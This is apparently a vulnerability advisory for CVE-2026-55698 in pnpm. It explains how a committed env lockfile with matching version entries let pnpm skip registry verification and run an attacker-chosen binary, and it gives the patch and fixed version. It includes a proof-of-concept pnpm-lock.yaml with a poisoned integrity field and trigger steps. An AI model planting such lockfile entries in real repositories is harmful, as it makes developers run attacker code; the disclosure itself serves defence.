high · 8.8CVE-2026-55698Jun 26, 2026

CVE-2026-55698: pnpm Env Lockfile Package-Manager Integrity Bypass

Rohit Hatagale
AI Security Researcher, SecureLayer7

A malicious repository can commit a crafted pnpm-lock.yaml that tricks pnpm into downloading and executing an attacker-chosen pnpm binary instead of fetching a fresh, verified one from the registry.

Packagepnpm
Ecosystemnpm
Affected< 10.34.2
Fixed in10.34.2

The problem

When pnpm's automatic version-switching kicks in (the packageManager field differs from the running version), switchCliVersion() reads packageManagerDependencies from the committed env lockfile.

Before the patch, if the committed lockfile already contained matching pnpm and @pnpm/exe version entries, resolvePackageManagerIntegrities() treated them as fully resolved and skipped the registry re-fetch. That committed metadata, including any attacker-supplied integrity hash, was passed directly to installPnpmToStore() and the resulting binary was executed with spawn.sync() under the victim's privileges.

Proof of concept

A working proof-of-concept for CVE-2026-55698 in pnpm, with the exact payload below.

bash
# Commit this as the first YAML document in pnpm-lock.yaml
# (the env-lockfile section pnpm reads for package-manager bootstrap)

importers:
  .:
    configDependencies: {}
    packageManagerDependencies:
      "@pnpm/exe":
        specifier: "9.3.0"
        version: "9.3.0"
      pnpm:
        specifier: "9.3.0"
        version: "9.3.0"
lockfileVersion: "9.0"
packages:
  /pnpm@9.3.0:
    resolution:
      integrity: sha512-poisoned   # replace with integrity of attacker-controlled tarball
snapshots:
  /pnpm@9.3.0: {}

# Trigger: victim runs any pnpm command in this repo while a different
# pnpm version is active (onFail=download path). pnpm enters
# switchCliVersion(), finds the version match, skips re-resolution,
# installs from the poisoned integrity field, and spawns the result.

The root cause is in installing/env-installer/src/resolvePackageManagerIntegrities.ts. Its version-only fast path returned immediately when both pnpm and @pnpm/exe version strings already matched the wanted version, without re-fetching from a trusted registry.

This is CWE-345 (insufficient authenticity verification) compounded by CWE-494 (download without integrity check) and CWE-829 (inclusion of functionality from untrusted control sphere).

The patch adds a force parameter to resolvePackageManagerIntegrities(). switchCliVersion() now always passes force: true for already-present package-manager entries, bypassing the version-only fast path, and reassigns the resolver's return value back to envLockfile.

The installer receives freshly resolved, registry-verified metadata instead of whatever the committed lockfile contains.

The fix

Upgrade pnpm to 10.34.2 (or 11.x equivalent containing patch commit a93449314f398cf4bdf2e28d033c02d37395ad22). The patched switchCliVersion() force-re-resolves package-manager bootstrap metadata through trusted registries before any install or execution, regardless of whether a matching version entry already exists in the committed env lockfile.

Reporter not attributed.

References: [1][2][3]

Related research